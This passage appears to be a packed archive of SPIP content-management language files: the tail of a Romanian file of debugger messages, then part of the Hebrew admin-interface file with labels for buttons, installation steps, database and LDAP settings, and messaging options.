'zbug_boucle_recursive_undef' => 'Buclă recursivă nedefinită: @nom@',
'zbug_calcul' => 'calcul',
'zbug_champ_hors_boucle' => 'Câmp @champ@ în afara buclei',
'zbug_champ_hors_motif' => 'Câmp @champ@ în afara contextului buclei @motif@',
'zbug_code' => 'cod',
'zbug_critere_inconnu' => 'Criteriu necunoscut @critere@',
'zbug_distant_interdit' => 'Extern interzis',
'zbug_doublon_table_sans_cle_primaire' => 'Dubluri într-o tabelă fără cheie primară atomică',
'zbug_doublon_table_sans_index' => 'Dubluri într-o tabelă fără index',
'zbug_erreur_boucle_double' => 'Bucla @id@: definiţie dublă',
'zbug_erreur_boucle_fermant' => 'Bucla @id@: tag-ul de închidere lipseşte',
'zbug_erreur_boucle_syntaxe' => 'Sintaxă incorectă pentru bucla @id@',
'zbug_erreur_compilation' => 'Eroare de compilare',
'zbug_erreur_execution_page' => 'Eroare de execuţie',
'zbug_erreur_filtre' => 'Filtru @filtre@ nedefinit',
'zbug_erreur_meme_parent' => 'Criteriul {meme_parent} nu se aplică decât buclelor (FORUMS) sau (RUBRIQUES)',
'zbug_erreur_squelette' => 'Eroare/Erori în schelet',
'zbug_hors_compilation' => 'Fără compilare',
'zbug_info_erreur_squelette' => 'Eroare pe site',
'zbug_inversion_ordre_inexistant' => 'Inversie de ordin necunoscut',
'zbug_pagination_sans_critere' => 'Baliza #PAGINATION făr criteriu {pagination} sau folosit într-o buclă recursivă',
'zbug_parametres_inclus_incorrects' => 'Parametru de includere incorect: @param@',
'zbug_profile' => 'Timp de calcul : @time@',
'zbug_resultat' => 'rezultat',
'zbug_serveur_indefini' => 'Server SQL nedefinit',
'zbug_statistiques' => 'Statisticile cererilor SQL clasate după durată',
'zbug_table_inconnue' => 'Tabela SQL « @table@ » necunoscută',
'zxml_connus_attributs' => 'atribute cunoscute',
'zxml_de' => 'de',
'zxml_inconnu_attribut' => 'atribut necunoscut',
'zxml_inconnu_balise' => 'baliză (tag) necunoscută',
'zxml_inconnu_entite' => 'entitate necunoscută',
'zxml_inconnu_id' => 'ID necunoscut',
'zxml_mais_de' => 'dar de',
'zxml_non_conforme' => 'nu este conform cu motivul',
'zxml_non_fils' => 'nu este un fiu al',
'zxml_nonvide_balise' => 'baliză (tag) ne-vidă',
'zxml_obligatoire_attribut' => 'atribut obligatoriu dar absent din',
'zxml_succession_fils_incorrecte' => 'succesiune incorectă de fii',
'zxml_survoler' => 'planaţi pentru a vedea corect',
'zxml_valeur_attribut' => 'valoarea atributului',
'zxml_vide_balise' => 'baliză (tag) vidă',
'zxml_vu' => 'văzut înainte'
);
?>
ecrire_he.php 0000666 00000077533 15252547432 0007236 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=he
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'החלף את ה-PLUGIN',
'affichage' => 'הצגה',
'aide_non_disponible' => 'חלק זה מהעזרה אונליין אינו עדיין מוכן בשפה זו.',
'auteur' => 'כותב',
'avis_acces_interdit' => 'גישה אסורה',
'avis_article_modifie' => 'אזהרה, @nom_auteur_modif@ עבד על הכתבה הזאת @date_diff@ לפני דקות אחדות',
'avis_aucun_resultat' => '.שום תוצאות לא נמצאו',
'avis_base_inaccessible' => 'אי אפשר להתחבר לנדבך נתונים données @base@.',
'avis_chemin_invalide_1' => 'הנתיב שבחרת',
'avis_chemin_invalide_2' => 'לא נראה בר תוקף. נא לחזור לדף הקודם ולוודא את האינפורמציה.',
'avis_connexion_echec_1' => 'התקשרות לבסיס הנתונים נכשלה',
'avis_connexion_echec_2' => 'נא לחזור לדף הקודם ולוודא את האינפורמציה. ',
'avis_connexion_echec_3' => '<b>N.B.</b> על מספר שרתים, אתה חייב <b>בקשה</b> ההפעלה של הגישה שלך לבסיס הנתונים של מיי.אס.קיו.אל לפני שתוכל להשתמש בו. אם אינך יכול להתחבר, וודא שלמעשה שלחת את הבקשה הזאת ',
'avis_connexion_ldap_echec_1' => 'התקשרות לשרת אל.די.איי.פי נכשלה',
'avis_connexion_ldap_echec_2' => 'חזור אל הדף הקודם וודא את האינפורמציה שסיפקת',
'avis_connexion_ldap_echec_3' => 'לחלופין, אל תשתמש בתמיכת אל.די.איי.פי לייבא משתמשים ',
'avis_deplacement_rubrique' => ' אזהרה ! המדור הזה כולל @contient_breves@ brève@scb@ : אם הנך מזיז אותו, וודא שהנך מסמן את התיבה הזאת לאישור.',
'avis_destinataire_obligatoire' => 'הנך חייב לבחור נמען לפני שליחת הודעה זאת ',
'avis_erreur_connexion_mysql' => 'שגיאת התחברות לאס.קיו.אל',
'avis_erreur_version_archive' => 'חשוב! הקובץ @archive@ מתאים ל גרסה אחרת של SPIP מאשר זאת שאתה התקנת.</b> אתה עומד בפני קשיים גדולים: סיכון להריסת בסיס הנתונים שלך, חוסר תפקודים שונים של האתר וכו. לא ללחוץ על הביקוש היבוא. לפרטים נוספים, אנא פנה אל <a href="@spipnet@"> המסמכים של SPIP</a>.', # MODIF
'avis_espace_interdit' => '<b>Forbidden area</b><p>אס.פי.אי.פי כבר מותקן',
'avis_lecture_noms_bases_1' => 'תוכנת ההתקנה לא יכולה לקרוא את שמות בסיסי הנתונים המותקנים ',
'avis_lecture_noms_bases_2' => 'או שאף בסיס אינו נגיש , או שהפונקציה המאפשרת לערוך רשימה של הבסיסים אינה פעילה יותר
מסיבות בטיחות (מקרה הקורה אצל הרבה שרתי אכסון).',
'avis_lecture_noms_bases_3' => 'במידה והחלופה השנייה הייתה נכונה, ישנה אפשרות שבסיס הנתונים שנקרא אחרי כניסתך למערכת יכול להיות שימושי: ',
'avis_non_acces_message' => 'אינך חייב להכנס אל ההודעה הזאת',
'avis_non_acces_page' => 'אינך חייב להכנס לדף הזה',
'avis_operation_echec' => 'הפעולה נכשלה',
'avis_operation_impossible' => 'פעולה אינה אפשרית',
'avis_probleme_archive' => 'שגיאת קריאה בקובץ @archive@',
'avis_suppression_base' => 'אזהרה, מחיקת המידע היא פעולה בלתי הפיכה ',
'avis_version_mysql' => 'הגרסה שלך ל-מיי.אס.קיו.אל (@version_mysql@) לא מאפשרת תיקון עצמי לטבלאות בסיס הנתונים ',
// B
'bouton_acces_ldap' => ' הוסף גישה ל-LDAP',
'bouton_ajouter' => 'הוסף',
'bouton_ajouter_participant' => ':הוסף משתמש',
'bouton_annonce' => 'הודעה',
'bouton_annuler' => 'בטל',
'bouton_checkbox_envoi_message' => 'אפשרות לשליחת הודעה',
'bouton_checkbox_indiquer_site' => 'אתה חייב לרשום שם של אתר אינטרנט',
'bouton_checkbox_signature_unique_email' => 'רק חתימה אחת לדוא"ל אחד',
'bouton_checkbox_signature_unique_site' => 'רק חתימה אחת לאתר אינטרנט אחד',
'bouton_demande_publication' => 'בקשה להופיע את המאמר',
'bouton_desactive_tout' => 'בטל פעולה של הכל',
'bouton_desinstaller' => 'הסר',
'bouton_effacer_index' => 'מחיקת הרשימות',
'bouton_effacer_tout' => 'מחיקת הכל',
'bouton_envoi_message_02' => 'שליחת הודעה',
'bouton_envoyer_message' => 'הודעה סופית : שלח',
'bouton_fermer' => 'סגור',
'bouton_mettre_a_jour_base' => 'עכדן נדבך נתונים',
'bouton_modifier' => 'תיקון',
'bouton_pense_bete' => 'תזכיר אישי',
'bouton_radio_activer_messagerie' => 'אפשר התכתבות פנימית ',
'bouton_radio_activer_messagerie_interne' => 'הפעל את הדוא"ל הפנימי',
'bouton_radio_activer_petition' => 'להפעיל את העצומה',
'bouton_radio_afficher' => 'הראה',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'הופיע ברשימת העורכים המחוברים',
'bouton_radio_desactiver_messagerie' => 'ביטול התכתבות ',
'bouton_radio_envoi_annonces_adresse' => ':שליחת הודעות לכתובת',
'bouton_radio_envoi_liste_nouveautes' => 'שלח את רשימת החדשות האחרונה',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'אל תופיע ברשימת העורכים המחוברים',
'bouton_radio_non_envoi_annonces_editoriales' => 'אל תשלח הודעות עורך ',
'bouton_radio_pas_petition' => 'אין עצומה',
'bouton_radio_petition_activee' => 'עצומה מופעלת',
'bouton_radio_supprimer_petition' => 'מחק את העצומה',
'bouton_redirection' => 'כוון שנית',
'bouton_relancer_installation' => 'התחל בשנית התקנה',
'bouton_suivant' => 'הבא',
'bouton_tenter_recuperation' => 'ניסיון תיקון',
'bouton_test_proxy' => 'בחן את ייפוי הכוח',
'bouton_vider_cache' => '(לרוקן את המחבוא(מטמון',
'bouton_voir_message' => 'הראה הודעה לפני נתינת תוקף ',
// C
'cache_mode_compresse' => 'קבצי ה-CACHE רשומים במצב דחוס',
'cache_mode_non_compresse' => 'קבצי ה-CACHE רשומים במצב לא דחוס',
'cache_modifiable_webmestre' => 'הפרמטר הזה ניתן לשינוי על ידי מנהל האתר',
'calendrier_synchro' => 'אם אתה משתמש באפליקציית יומן תואמת עם <b>iCal</b>, אתה יכול לסנכרן את זה עם אינפורמציה של אתרים אחרים',
'config_activer_champs' => 'הפעל את השדות הבאים',
'config_choix_base_sup' => 'ציין בסיס נתונים על שרת זה',
'config_erreur_base_sup' => 'אין ל-SPIP גישה לרשימת בסיסי הנתונים הנגישים',
'config_info_base_sup' => 'אם יש לך בסיסי נתונים אחרים שאתה רוצה להתיעץ בהם באמצעות SPIP, על ידי השרת שלה SQL או על ידי אחר, השאלון למטה מאפשר לך להציג אותם. אם אתה משאיר שדות ריקים, המזהים של ההתקשרות לבסיס העיקרי יהיו בשימוש.',
'config_info_base_sup_disponibles' => 'ניתן להציג שאלות לבסיס הנוסף ',
'config_info_enregistree' => 'התצורה החדשה נשמר',
'config_info_logos' => 'כל אלמנט באתר יכול לשאת לוגו, כך גם « logo de survol »',
'config_info_logos_utiliser' => 'השתמש בלוגואים',
'config_info_logos_utiliser_non' => 'אל תשתמש בלוגואים',
'config_info_logos_utiliser_survol' => 'השתמש בלוגואים של העלעול',
'config_info_logos_utiliser_survol_non' => 'אל תשתמש בלוגואים של העלעול',
'config_info_redirection' => 'על ידי הפעלת האופציה הזאת, אתה יכול ליצור מאמרים וירטואלים, הפניות פשוטות למאמרים המפורסמים באתרים אחרים או מחוץ ל-SPIP',
'config_redirection' => 'מאמרים וירטואלים',
'config_titre_base_sup' => 'הצהרה של בסיס נתונים נוסף',
'config_titre_base_sup_choix' => 'בחר בסיס נתונים נוסף',
'connexion_ldap' => 'התחברות:',
'copier_en_local' => 'העתק למקומי',
// D
'date_mot_heures' => '"H"',
// E
'email' => 'דוא"ל',
'email_2' => 'דוא"ל:',
'entree_adresse_annuaire' => 'מען המדריך',
'entree_adresse_email' => 'הדוא"ל שלך',
'entree_adresse_email_2' => 'כתובת דוא"ל',
'entree_base_donnee_1' => 'כתובת בסיס הנתונים',
'entree_base_donnee_2' => '(לעיתים הכתובת מתאימה לזאת של אתרך, לפעמים היא מתאימה למושג «localhost»,לפעמים היא מושארת לגמרי ריקה).',
'entree_biographie' => 'ביוגרפיה קצרה בכמה מילים',
'entree_chemin_acces' => '<b>Enter</b> את הדרך:',
'entree_cle_pgp' => 'מפתח ה-פי.ג’י.פי שלך',
'entree_contenu_rubrique' => '(תוכן המדור בכמה מילים.)',
'entree_identifiants_connexion' => '...מזהי ההתחברות שלך',
'entree_identifiants_connexion_2' => 'מזהה של חיבור',
'entree_informations_connexion_ldap' => 'נא מלא את התבנית הזאת עם אינפורמציית התקשרות ה-אל.די.איי.פי. אתה תהיה מוענק עם האינפורמציה הזאת על ידי מנהל הרשת או המערכת.',
'entree_infos_perso' => '?מי אתה',
'entree_infos_perso_2' => 'מי המחבר?',
'entree_interieur_rubrique' => 'בתוך המדור:',
'entree_liens_sites' => '<b>קישור היפרטקסט</b> (התיחסות, אתר לבקר...)',
'entree_login' => 'שם ההתחברות שלך',
'entree_login_connexion_1' => 'שם ההתחברות של החיבור',
'entree_login_connexion_2' => '(מתייחס לעיתים ל-LOGIN הגישה שלך ל-FTP, לפעמים הוא מושאר ריק)',
'entree_login_ldap' => 'שם התחברות אל.די.איי.פי ראשוני',
'entree_mot_passe' => 'סיסמתך',
'entree_mot_passe_1' => 'סיסמת התחברות',
'entree_mot_passe_2' => '(מתייחס לעיתים לסיסמה שלך על ה-FTP, לפעמים מושאר ריק)',
'entree_nom_fichier' => 'נא רשום את שם הקובץ@texte_compresse@:',
'entree_nom_pseudo' => 'שם או כינוי',
'entree_nom_pseudo_1' => '(שם או כינוי)',
'entree_nom_pseudo_2' => 'שם או כינוי',
'entree_nom_site' => 'השם של האתר שלך',
'entree_nouveau_passe' => 'סיסמה חדשה',
'entree_passe_ldap' => 'סיסמה',
'entree_port_annuaire' => 'מספר יציאה של המדריך',
'entree_signature' => 'חתימה',
'entree_titre_obligatoire' => '<b>כותרת</b> [הכרחי]<br />',
'entree_url' => 'הכתובת הכללית של האתר שלך',
'erreur_plugin_fichier_absent' => 'קובץ חסר',
'erreur_plugin_fichier_def_absent' => 'קובץ בעל הגדרה חסרה',
'erreur_plugin_nom_fonction_interdit' => 'שם פונקציה אסור',
'erreur_plugin_nom_manquant' => 'שם PLUGIN חסר',
'erreur_plugin_prefix_manquant' => 'אזור קריאת שם PLUGIN לא מוגדר',
'erreur_plugin_tag_plugin_absent' => '<plugin> חסר בקובץ ההגדרה',
'erreur_plugin_version_manquant' => 'גרסת PLUGIN חסרה',
// I
'ical_info1' => 'הדף הזה מציג כמה שיטות לשמור קשר עם פעילות האתר הזה.',
'ical_info2' => 'ליותר פרטים על כל הטכניקות, אל תהסס לפנות ל המסמכים של <<a href="@spipnet@">SPIP </a',
'ical_info_calendrier' => 'שני לוחות זמנים נמצאים בסל האשפה. הראשון הוא מפת אתר אשר מראה את כל הכתבות המפורסמות. השני מכיל הודעות עורכים גם ההודעות הפרטיות האחרונות שלך: זה שמור בשבילך הודות למפתח אישי שאתה יכול לשנות בכל זמן על ידי חידוש סיסמתך.',
'ical_methode_http' => 'מוריד',
'ical_methode_webcal' => 'סינכרוניזציה (webcal://)',
'ical_texte_js' => 'שורה של שפת "ג’אווה סקריפט" מאפשרת להציג, בקלות ובכל אתר ששייך לך, המאמרים האחרונים מפורסמים באתר זה.',
'ical_texte_prive' => 'לוח הזמנים זה, לשימוש פרטי בלבד, מיידע אותך על הפעילות הפרטית של העורכים של האתר הזה (משימות, פגישות אישיות, מאמרים ומבזקים מוצעים...).',
'ical_texte_public' => 'לוח הזמנים זה מאפשר לך לעקוב אחר הפעילות הציבורית של האתר הזה (מאמרים מפורסמים ומבזקים). ',
'ical_texte_rss' => 'הינך יכול לעשות סינדיקציה על החדשות האחרונות של האתר הזה בכל אקס.אמ.אל/אר.אס.אס (סיכום עשיר של אתר) קורא קבצים. כמו כן זה גם הפורמט שמאפשר ל אס.פי.איי.פי לקרוא את החדשות האחרונות שמפורסמות על ידי אתרים אחרים אשר משתמשים בחילוף תואם של פורמטים (אתרים בעלי סינדיקציה)',
'ical_titre_js' => 'Javascript (שפת ג’אווה)',
'ical_titre_mailing' => 'רשימת דואר',
'ical_titre_rss' => 'קבצי איסוף תכני רשת',
'icone_activer_cookie' => '"מקם "קוקיי',
'icone_admin_plugin' => 'ניהול ה-PLUGINS',
'icone_afficher_auteurs' => 'הצג מחברים',
'icone_afficher_visiteurs' => 'הצג מבקרים',
'icone_arret_discussion' => 'הפסק השתתפות בשיחה זו',
'icone_calendrier' => 'לוח שנה',
'icone_creer_auteur' => 'צור מחבר חדש ושתף אותו עם המאמר הזה',
'icone_creer_mot_cle' => 'צור מילת מפתח חדשה וצור לה קישור עם המאמר הזה',
'icone_creer_mot_cle_rubrique' => 'צור מילת מפתח חדשה וקשר אותה לרובריקה הזאת',
'icone_creer_mot_cle_site' => 'צור מילת מפתח חדשה וקשר אותה לאתר זה',
'icone_creer_rubrique_2' => 'צור מדור חדש',
'icone_envoyer_message' => 'שלח הודעה זו',
'icone_modifier_article' => 'שנה את המאמר הזה',
'icone_modifier_message' => 'שנה את ההודעה הזאת',
'icone_modifier_rubrique' => 'תיקון מדור',
'icone_relancer_signataire' => 'העלה מחדש את החתום',
'icone_retour' => 'אחורה',
'icone_retour_article' => 'אל המאמר הקודם',
'icone_supprimer_cookie' => '"מחק "קוקיי',
'icone_supprimer_rubrique' => 'מחיקת המדור',
'icone_supprimer_signature' => 'מחק חתימה זו',
'icone_valider_signature' => 'תן תוקף לחתימה זו',
'image_administrer_rubrique' => 'אתה יכול לנהל את המדור',
'info_1_article' => 'מאמר 1',
'info_1_site' => 'אתר 1',
'info_activer_cookie' => 'אתה יכול להפעיל <b> עוגיית התכתבות</b>, אשר יאפשר לך
לעבור בקלות מן האתר הציבורי לאתר הפרטי.',
'info_admin_gere_rubriques' => 'המנהל הזה מנהל את המדורים הבאים:',
'info_admin_gere_toutes_rubriques' => 'המנהל הזה מנהל את <b>כל המדורים</b>.', # MODIF
'info_administrateur' => 'מנהל',
'info_administrateur_1' => 'מנהל',
'info_administrateur_2' => 'של האתר (<i>use with caution</i>)',
'info_administrateur_site_01' => 'אם היך מנהל אתר, אנא',
'info_administrateur_site_02' => 'לחץ על הקישור הזה',
'info_administrateurs' => 'מנהלים',
'info_administrer_rubrique' => 'הינך יכול לנהל מדור זה',
'info_adresse' => ':אל הכתובת',
'info_adresse_url' => 'הכתובת הכללית של האתר הציבורי שלך',
'info_afficher_visites' => ':הצג ביקורים ל',
'info_aide_en_ligne' => 'עזרה מקוונת ל-אס.פי.אי.פי',
'info_ajout_image' => 'כאשר אתה מוסיף תמונות כמסמכים מצורפים למאמר,
SPIP יכול ליצור עבורך, בצורה אוטומטית, מיניאטורות של
תמונות מוכנסות. הדבר מאפשר למשל ליצור
אוטומטית גלריה או תיק עבודות.',
'info_ajout_participant' => ':המשתתף הבא צורף',
'info_ajouter_rubrique' => 'הוספת מדור נוסף לניהול:',
'info_annonce_nouveautes' => 'מודעות אחרונות של חדשות',
'info_anterieur' => 'הקודם',
'info_article' => 'מאמר',
'info_article_2' => 'מאמרים',
'info_article_a_paraitre' => 'המאמרים בעלי תאריך מאוחר שיופיעו',
'info_articles_02' => 'מאמרים',
'info_articles_2' => 'מאמרים',
'info_articles_auteur' => 'המאמרים של המחבר הזה',
'info_articles_trouves' => 'מאמרים נמצאו',
'info_articles_trouves_dans_texte' => '(מאמרים נמצאו (בתוך הטקסט',
'info_attente_validation' => 'המאמרים שלך מחכים למתן תוקף',
'info_aujourdhui' => ':היום',
'info_auteur_message' => ':שולח הודעה',
'info_auteurs' => 'מחברים',
'info_auteurs_par_tri' => 'מחברים@partri@',
'info_auteurs_trouves' => 'מחברים נמצאו',
'info_authentification_externe' => 'אישור חיצוני',
'info_avertissement' => 'אזהרה',
'info_barre_outils' => 'עם סרגל הכלים שלי?',
'info_base_installee' => '.המבנה של בסיס הנתונים שלך מותקן',
'info_chapeau' => 'סיפון',
'info_chapeau_2' => ':הקדמה',
'info_chemin_acces_1' => 'אפשרויות: <b>Access path in directory</b>',
'info_chemin_acces_2' => 'מעכשיו והלאה, הינך חייב לעצב את דרך הגישה לספריית המידע. המידע הזה נחוץ לקריאת הפרופילים של המשתמשים אשר שמורים בספרייה.',
'info_chemin_acces_annuaire' => 'אפשרויות: <b>Access path in directory</b>',
'info_choix_base' => ':שלב שלישי',
'info_classement_1' => '<sup>st</sup> מחוץ ל @liste@',
'info_classement_2' => '<sup>th</sup> מחוץ ל @liste@',
'info_code_acces' => '!אל תשכח את את קודי הגישה שלך',
'info_compresseur_gzip' => '<b>N. B. :/b> מומלץ לבדוק מראש אם המאכסן מכווץ מקודם בצורה סיסטמטית את הסקריפטים php ; לשם כך, אתה יכול למשל להשתמש בשרות הבא : @testgzip@ ', # MODIF
'info_compresseur_texte' => 'אם השרת שלך אינו מכווץ אוטומטית את דפי ה-HTML על מנת לשלחם לגולשים, אתה יכול לנסות לאלץ את הכיווץ הזה על מנת להפחית את נפח הדפים המורדים.<b>שים לב</b> : הדבר יכול להאיט בצורה ניכרת כמה מסוגי שרתים ',
'info_config_suivi' => 'אם הכתובת הזאת מותאמת לרשימת דיוור, אתה יכול לציין להלן את הכתובת איפה שמשתתפי האתר יכולים להרשם. הכתובת הזאת יכולה להיות כתובת כללית (למשל העמוד של רשימת הרישום דרך הרשת), או כתובת דוא"למעונקת עם נושא מסויים (למשל: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'הינך יכול להירשם לרשימת הדיוור של האתר. לאחר הרישום תקבל, על ידי דואר אלקטרוני, את המודעות באשר למאמרים ולמבזקים המוצעים לפרסום.',
'info_confirmer_passe' => ':אשר סיסמה חדשה',
'info_connexion_base' => 'שלב שני: <b>Attempting to connect to database</b>',
'info_connexion_mysql' => 'שלב ראשון: <b>Your SQL connection</b>',
'info_connexion_ok' => '.התקשרות הצליחה',
'info_contact' => 'התקשר',
'info_contenu_articles' => 'תוכן המאמרים',
'info_creation_paragraphe' => '(בשביל ליצור פסקאות, אתה פשוט עוזב שורות ריקות.)', # MODIF
'info_creation_rubrique' => 'לפני שתוכל לכתוב מאמרים,<br />אתה חייב ליצור לפחות פדור אחד<br />',
'info_creation_tables' => 'שלב רביעי: <b>Creation of the database tables</b>',
'info_creer_base' => '<b>Create</b> בסיס נתונים חדש :',
'info_dans_rubrique' => 'במדור:',
'info_date_publication_anterieure' => 'תאריך של הוצאה לאור מוקדמת:',
'info_date_referencement' => ':תאריך של הוספת מראי מקום באתר זה',
'info_derniere_etape' => 'זהו הסתיים!',
'info_derniers_articles_publies' => 'המאמרים המפורסמים המאוחרים ביותר שלך',
'info_desactiver_messagerie_personnelle' => 'הינך יכול לאפשר או לנטרל את ההעברת ההודעות האישיות שלך באתר זה.',
'info_descriptif' => ':תיאור',
'info_discussion_cours' => 'דיונים בהתקדמות',
'info_ecrire_article' => 'לפני שתוכל לכתוב מאמרים, אתה חייב ליצור לפחות מדור אחד.',
'info_email_envoi' => '(כתובת הדוא"ל של השולח (רשות',
'info_email_webmestre' => '(כתובת הדוא"ל של מומחה הרשת (רשות', # MODIF
'info_entrer_code_alphabet' => ':רשום את הקוד של מערך התווים להשתמש בו',
'info_envoi_email_automatique' => 'דיוור אוטומטי',
'info_envoyer_maintenant' => 'שלח עכשיו',
'info_etape_suivante' => 'לך אל השלב הבא',
'info_etape_suivante_1' => '.הינך יכול לעבור לשלב הבא',
'info_etape_suivante_2' => '.הינך יכול לעבור לשלב הבא',
'info_exportation_base' => 'יצוא בסיס נתונים אל @archive@',
'info_fichiers_authent' => '".htpasswd" אישור קובץ',
'info_gauche_auteurs_exterieurs' => 'מחברים חיצוניים, ללא שום גישה לאתר, מצויינים על ידי סמל כחול; מחברים מחוקים על ידי פח אשפה.', # MODIF
'info_gauche_messagerie' => 'התכתבות מאפשרת לך להחליף הודעות בין עורכים, כדי לשמר תזכירים (לשימושך האישי) או להציג מודעות בדף הבית של (.האזור הפרטי (אם אתה אחראי',
'info_gauche_numero_auteur' => ':מספר מחבר',
'info_gauche_statistiques_referers' => 'הדף הזה מציג רשימה של <i>referrers</i>, כלומר האתר מכיל קישורים לאתרך, רק להיום: למעשה הרשימה הזאת מתעדכנת כל 24 שעות.',
'info_generation_miniatures_images' => 'יוצר תמונות ממוזערות',
'info_gerer_trad' => '?מנהל קישורי תרגום',
'info_hier' => ':אתמול',
'info_identification_publique' => '...הזהות הציבורית שלך',
'info_image_process2' => 'Si aucune image n’apparaît, alors le serveur qui héberge votre site n’a pas été configuré pour utiliser de tels outils. Si vous souhaitez utiliser ces fonctions, contactez le responsable technique et demandez les extensions « GD » ou « Imagick ».',
'info_informations_personnelles' => 'נתונים אישיים',
'info_inscription_automatique' => 'הרשמה אוטומטית של עורכים חדשים',
'info_jeu_caractere' => 'מערך תווים של האתר',
'info_jours' => 'ימים',
'info_laisser_champs_vides' => '(השאר את השדות האלה ריקים',
'info_langues' => 'שפת האתר',
'info_ldap_ok' => '.אישור אל.די.אי.פי מותקן',
'info_lien_hypertexte' => ':קישור היפר טקסט',
'info_liste_redacteurs_connectes' => 'רשימה של עורכים מחוברים',
'info_login_existant' => '.שם ההתחברות הזה תפוס',
'info_login_trop_court' => '.שם ההתחברות יותר מדי קצר',
'info_maximum' => ':מקסימום',
'info_message' => '-הודעה מ',
'info_message_efface' => 'הודעה נמחקה',
'info_message_en_redaction' => 'ההודעות שלך בהתקדמות',
'info_message_technique' => ':הודעה טכנית',
'info_messagerie_interne' => 'התכתבות פנימית',
'info_mise_a_niveau_base' => 'שדרוג בסיס הנתונים של מאי.אס.קיו.אל',
'info_modifier_rubrique' => 'תיקון המדור הזה:',
'info_modifier_titre' => 'שנה: @titre@',
'info_mon_site_spip' => 'אתר ה-אס.פי.איי.פי שלי',
'info_mot_sans_groupe' => '(...מילות מפתח ללא קבוצה)',
'info_moteur_recherche' => 'מנוע חיפוש משולב',
'info_moyenne' => ':ממוצע',
'info_multi_articles' => '?לאפשר את תפריט השפות למאמרים',
'info_multi_cet_article' => ':שפת המאמר הזה',
'info_multi_rubriques' => 'אפשר את תפריט השפות במדורים',
'info_multi_secteurs' => '...רק למדורים הנמצאים בראשי?',
'info_nom' => 'שם',
'info_nom_destinataire' => 'שם המקבל',
'info_nom_site' => 'שם האתר שלך',
'info_nombre_articles' => '@nb_articles@ מאמרים,',
'info_nombre_partcipants' => ':משתתפים לדיון',
'info_nombre_rubriques' => '@nb_rubriques@ מדורים,',
'info_nombre_sites' => '@nb_sites@ אתרים,',
'info_non_deplacer' => '...אל תזוז',
'info_non_envoi_annonce_dernieres_nouveautes' => 'ספיפ יכול לשלוח דרך הדוא"ל בקביעות הודעת החדשות של האתר
(מאמרים ומבזקים שפורסמו לארחונה).',
'info_non_envoi_liste_nouveautes' => 'אל תשלח את רשימת החדשות האחרונה',
'info_non_modifiable' => 'לא יכול להשתנות',
'info_non_suppression_mot_cle' => '.אני לא רוצה למחוק את מילת המפתח הזאת',
'info_notes' => 'הערת שוליים',
'info_nouveaux_message' => 'הודעות חדשות',
'info_nouvel_article' => 'מאמר חדש',
'info_nouvelle_traduction' => ':תרגום חדש',
'info_numero_article' => ':מספר מאמר',
'info_obligatoire_02' => '[מהווה חובה]', # MODIF
'info_option_faire_suivre' => 'להעביר הלאה הודעות פורומים למחברי המאמרים',
'info_options_avancees' => 'אפשרויות מתקדמות',
'info_ou' => '...או',
'info_page_interdite' => 'דף אסור',
'info_par_nom' => 'לפי שם',
'info_par_nombre_article' => '(על ידי מספר מאמרים)',
'info_passe_trop_court' => '.סיסמה קצרה מדי',
'info_passes_identiques' => '.שתי הסימאות לא זהות',
'info_pense_bete_ancien' => 'התזכירים הישנים שלך', # MODIF
'info_plus_cinq_car' => 'יותר מ-5 תווים',
'info_plus_cinq_car_2' => '(יותר מ-5 תווים)',
'info_plus_trois_car' => '(יותר מ-3 תווים)',
'info_popularite' => 'פופולריות: @popularite@; ביקורים: @visites@',
'info_popularite_4' => 'פופולריות: @popularite@; פופולריות: @visites@',
'info_post_scriptum' => 'פוסטסקריפט',
'info_post_scriptum_2' => ':פוסטסקריפט',
'info_pour' => 'ל',
'info_preview_texte' => 'אפשר לבקר את האתר בהקשפה מוקדמת כאילו כל המאמרים והמבזקים התפרסמו (עם לפחות הסטטוס "מוצע"). האם אתה רוצה להגיש אפשרות זו למנהלים בלבד, לכל מחברים או לכולם?',
'info_principaux_correspondants' => 'הכתבים הראשיים שלך',
'info_procedez_par_etape' => 'אנא המשך צעד אחר צעד',
'info_ps' => 'נ.ב',
'info_publier' => 'לפרסם',
'info_publies' => 'המאמרים שלך מפורסמים ברשת',
'info_racine_site' => 'בסיס האתר',
'info_recharger_page' => '.אנא טען מחדש דף זה בעוד כמה רגעים',
'info_recherche_auteur_a_affiner' => 'יותר מדי תוצאות ל"@cherche_auteur@"; אנא עדן את החיפוש שלך.',
'info_recherche_auteur_ok' => 'כמה עורכים נמצאו ל "@cherche_auteur@":',
'info_recherche_auteur_zero' => 'אין תוצאות ל "@cherche_auteur@".',
'info_recommencer' => '.אנא נסה שוב',
'info_redacteur_1' => 'עורך',
'info_redacteur_2' => 'מקבל אישור כניסה לאזור האישי (<i>recommended</i>)',
'info_redacteurs' => 'עורכים',
'info_redaction_en_cours' => 'עריכה בהתקדמות',
'info_redirection' => 'הכוונה מחודשת',
'info_refuses' => 'המאמרים שלך נדחו',
'info_rubriques' => 'נושאים',
'info_sans_titre' => 'בלי כותר',
'info_site' => 'אתר אינטרנט',
'info_site_2' => 'אתר אינטרנט :',
'info_site_min' => 'אתר',
'info_sites' => 'אתרים',
'info_sous_titre' => 'כתוביות :',
'info_statut_administrateur' => 'מנהל',
'info_surtitre' => 'הכותרת למעלה:',
'info_texte' => 'טקסט',
'info_texte_message' => 'הטקסט של ההודעה שלך :', # MODIF
'info_total' => 'הכל :',
'info_tous_les' => 'כל :',
'info_tout_site' => 'כל האתר',
'info_un_article' => 'פריט,',
'info_un_site' => 'האתר,',
'info_une_rubrique' => 'קטגוריה,',
'info_url' => 'קישור :',
'info_visiteur_1' => 'המבקר',
'info_visiteur_2' => 'אתר ציבורי',
'info_visiteurs' => 'מבקרים',
'info_visiteurs_02' => 'המבקרים באתר את הציבור',
'install_select_type_mysql' => 'MySQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'intem_redacteur' => 'עורך',
'item_administrateur_2' => 'מנהל',
'item_login' => 'הסינכ',
'item_non' => 'לא',
'item_nouvel_auteur' => 'מחבר חדש',
'item_nouvelle_rubrique' => 'נושא חדש',
'item_oui' => 'כן',
// L
'lien_email' => 'דואר אלקטרוני',
